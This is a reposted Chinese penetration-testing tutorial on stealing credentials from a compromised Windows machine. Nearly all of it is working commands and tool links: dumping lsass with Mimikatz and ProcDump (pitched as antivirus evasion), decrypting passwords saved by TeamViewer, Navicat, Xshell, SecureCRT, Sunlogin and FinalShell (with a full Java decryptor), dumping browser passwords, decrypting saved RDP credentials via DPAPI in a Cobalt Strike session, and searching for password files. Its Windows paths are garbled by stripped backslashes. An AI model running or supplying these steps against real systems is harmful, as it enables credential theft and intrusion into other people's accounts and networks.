8.1、前言
在渗透测试中,当我们拿下一台windows主机后,通常要对主机上的一些密码做信息收集,以便后续渗透使用,本文介绍了几种windows下常见的收集密码的方式。
8.2、windows主机密码抓取
8.2.1、Mimikatz
windows密码抓取神器,从windows系统进程lsass.exe中抓取明文密码。
-
下载地址:
https://github.com/gentilkiwi/Mimikatz
-
使用说明:管理员权限运行
Mimikatz.exe
,执行下面的命令:
privilege::debug #提取权限
log #记录日志内容
sekurlsa::logonPasswords #抓取密码
Mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
8.2.2、ProcDump + Mimikatz
如果主机上装了杀毒软件,开了防火墙,例如:360、火绒之类的话。Mimikatz就会被检测为病毒,无法使用。由于Mimikatz是从lsass.exe中提取明文密码的,当无法在目标机器上运行Mimikatz时,我们可使用ProcDump工具将系统的lsass.exe进程进行转储,导出dmp文件,拖回到本地后,在本地再利用Mimikatz进行读取。ProcDump本身是作为一个正常的运维辅助工具使用,并不带毒,所以不会被杀软查杀。
-
下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/ProcDump
-
使用方法:
# 将工具拷贝到目标机器上执行如下命令(需要管理员权限)
ProcDump.exe -accepteula -ma lsass.exe lsass.dmp
Mimikatz# sekurlsa::minidump lsass.dmp
Mimikatz# sekurlsa::logonPasswords full
8.2.3、PwDump7
使用该工具获取hash值之后,可到cmd5.com进行解密。
8.2.4、Getpass
-
下载地址:
https://raw.githubusercontent.com/k8gege/K8tools/master/GetPassword_x64.rar
8.3、第三方运维工具密码抓取
8.3.1、TeamViewer
-
下载地址:
https://github.com/uknowsec/SharpDecryptPwd/raw/master/SharpDecryptPwd.exe
-
使用方法:
SharpDecryptPwd.exe -TeamViewer
8.3.2、Navicat
-
下载地址:
https://github.com/uknowsec/SharpDecryptPwd/raw/master/SharpDecryptPwd.exe
-
使用方法:
SharpDecryptPwd.exe -NavicatCrypto
8.3.3、xshell
xshell默认的sessions会话保存地址是:
xshell5:
%userprofile%DocumentsNetSarangXshellSessions
xshell6:
%userprofile%DocumentsNetSarang Computer6XshellSessions
-
下载地址1:
https://github.com/uknowsec/SharpDecryptPwd/raw/master/SharpDecryptPwd.exe
-
使用方法1:
先执行 `whoami /user` 将用户名和sid保存下来,然后再使用下面的命令:
SharpDecryptPwd.exe -Xmangager -p SessionPath -s username+sid
-
下载地址2:
https://github.com/dzxs/Xdecrypt
-
使用方法2:
先执行 `whoami /user` 将用户名和sid保存下来,然后再使用下面的命令:
python Xdecrypt.py -p "C:UsersAdminDocumentsNetSarang Computer6XshellSessions" -s 你的用户sid
8.3.4、securecrt
-
下载地址:
https://github.com/hustlibraco/Moye/blob/master/SecureCRTDecrypt.py
-
使用方法:
解密secureCRT保存的密码
1. 找到密码保存位置,每台服务器一个ini文件,windows系统位于
* 用户名AppDataRoamingVanDykeConfigSessions (安装版)
*SecureCRTSecureFX_hh_x86_7.0.0.326DataSettingsConfigSessions (绿色移动版)
2. 执行脚本,python SecureCRTDecrypt.py [filename...]
8.3.5、向日葵
1、读取向日葵程序路径,可以使用以下命令来读取:
tasklist /svc #查找向日葵程序PID
wmic process where
processid=4444 get processid,executablepath,name #processid为向日葵的PID
2、读取向日葵配置文件:
type D:向日葵SunloginClientconfig.ini
主要关注配置中两个参数:
1.fastcode为本机识别码
2.encry_pwd为本机验证码但被加密
可以通过https://github.com/wafinfo/Sunflower_get_Password来解密encry_pwd。
8.3.6、FinalShell
finalshell的配置文件存放在finalshell的安装路径下的conn文件,我们只需要找到conn下的json文件中的password字段值即可,
使用以下脚本对获取的字段值进行解密:
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.util.Base64;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;
public class FinalShellDecodePass {
public static void main(String[] args)throws Exception {
System.out.println(decodePass(args[0]));
}
public static byte[] desDecode(byte[] data, byte[] head) throws Exception {
SecureRandom sr = new SecureRandom();
DESKeySpec dks = new DESKeySpec(head);
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
SecretKey securekey = keyFactory.generateSecret(dks);
Cipher cipher = Cipher.getInstance("DES");
cipher.init(2, securekey, sr);
return cipher.doFinal(data);
}
public static String decodePass(String data) throws Exception {
if (data == null) {
return null;
} else {
String rs = "";
byte[] buf = Base64.getDecoder().decode(data);
byte[] head = new byte[8];
System.arraycopy(buf, 0, head, 0, head.length);
byte[] d = new byte[buf.length - head.length];
System.arraycopy(buf, head.length, d, 0, d.length);
byte[] bt = desDecode(d, ranDomKey(head));
rs = new String(bt);
return rs;
}
}
static byte[] ranDomKey(byte[] head) {
long ks = 3680984568597093857L / (long)(new Random((long)head[5])).nextInt(127);
Random random = new Random(ks);
int t = head[0];
for(int i = 0; i < t; ++i) {
random.nextLong();
}
long n = random.nextLong();
Random r2 = new Random(n);
long[] ld = new long[]{(long)head[4], r2.nextLong(), (long)head[7], (long)head[3], r2.nextLong(), (long)head[1], random.nextLong(), (long)head[2]};
ByteArrayOutputStream bos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(bos);
long[] var15 = ld;
int var14 = ld.length;
for(int var13 = 0; var13 < var14; ++var13) {
long l = var15[var13];
try {
dos.writeLong(l);
} catch (IOException var18) {
var18.printStackTrace();
}
}
try {
dos.close();
} catch (IOException var17) {
var17.printStackTrace();
}
byte[] keyData = bos.toByteArray();
keyData = md5(keyData);
return keyData;
}
public static byte[] md5(byte[] data) {
String ret = null;
byte[] res=null;
try {
MessageDigest m;
m = MessageDigest.getInstance("MD5");
m.update(data, 0, data.length);
res=m.digest();
ret = new BigInteger(1, res).toString(16);
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
return res;
}
}
使用以下命令编译文件:
javac FinalShellDecodePass.java
会生成我们用来解密的FinalShellDecodePass.class文件,再使用以下命令对字段值解密:
java FinalShellDecodePass xxxxx
8.4、浏览器密码抓取
8.4.1、LaZagne
-
下载地址:
https://github.com/ethicalhackeragnidhra/LaZagne/archive/2.3.1.zip
-
使用方法:
laZagne.exe browsers
8.4.2、BrowserPasswordDump
-
下载地址:
https://files1.majorgeeks.com/020c4877362530fccadf006a858f56ee9637177d/covertops/BrowserPasswordDump.zip
-
使用方法:
点击setup安装完成以后,即可提取出单文件来运行使用。
8.5、远程桌面连接密码抓取
查看是否有登录凭证:
cmdkey /list
8.5.1、netpass
-
下载地址:
https://www.nirsoft.net/toolsdownload/netpass-x64.zip
-
使用说明:
使用管理员权限运行即可
8.5.2、离线解密 RDP 保存的密码
通过查看目标注册表发现了历史 RDP 的记录:
reg query "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /s
发现存在 RDP 密码文件:
beacon> shell dir /a %userprofile%AppDataLocalMicrosoftCredentials*
[*] Tasked beacon to run: dir /a %userprofile%AppDataLocalMicrosoftCredentials*
[+] host called home, sent: 89 bytes
[+] received output:
驱动器 C 中的卷没有标签。
卷的序列号是 C09B-63AC
C:UsersAdministratorAppDataLocalMicrosoftCredentials 的目录
2017-08-31 11:28 <DIR> .
2017-08-31 11:28 <DIR> ..
2017-08-31 11:28 482 242067442375049DD8C15BA0948FA81A
2017-08-31 11:08 482 66F17973F3B68674CB1837A732B2022A
2 个文件 964 字节
2 个目录 19,997,614,080 可用字节
通过把两个文件下载到本地离线进行解密:
然后使用:procdump.exe(注意免杀问题) 把 lsass.dmp 抓下来
procdump.exe -accepteula -ma lsass.exe lsass.dmp
之后通过 Mimikatz 进行获取 guidMasterKey 值:(后面会用到)
mimikatz # privilege::debug
mimikatz # dpapi::cred /in:C:66F17973F3B686XXXXXXXXXXXXXXXXXX
本地使用命令加载 dmp 并获取对应得 MasterKey 值:
mimikatz# sekurlsa::minidump lsass.dmp //将lsaa.dmp导入
mimikatz# sekurlsa::dpapi
最后使用 Masterkey 解密凭证得到明文密码:
dpapi::cred /in:C:66F17973F3B6XXXXXXXXXXXXXX /masterkey:9a94787450391e74a94025c5f148a7c1d78d5e3b9d0588864a86609065c1d36XXXXXXXXXXXXXXXXXXXXXXX
8.6、低权限下搜集当前机器各类密码文件
8.6.1、dir收集各类密码配置文件
一般密码文件或者配置文件都是:
pass.*,config.*,username.*,password.*
我们就可以使用 dir命令来进行文件查找,建议不要直接从 c盘根目录找,那样文件会很多,建议从 User目录下:
dir /b /s user.*,pass.*,config.*,username.*,password.*
8.6.2、for 收集各类密码配置文件
还可以通过 for 循环来查找,例如查找匹配 pass 文件:
for /r c: %i in (pass.*) do @echo %i
8.6.3、findstr 查找文件的某个字段
上面两条命令只是查找某个文件,那我们想要查找一个文件里有没有 user
、pass
等字段内容,就可以使用这条命令:
findstr /c:"sa" /c:"root" /si *.txt
8.7、总结
1、上述描述的抓取密码的方式,大部分需使用管理员权限才能抓取。
2、windows
密码仅在win2008
及以下可使用,win10
及server2012
及以上默认不保存明文密码,无法使用工具抓取。
该内容转载自网络,更多内容请点击“阅读原文”
原文始发于微信公众号(web安全工具库):8、登录凭证获取技巧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论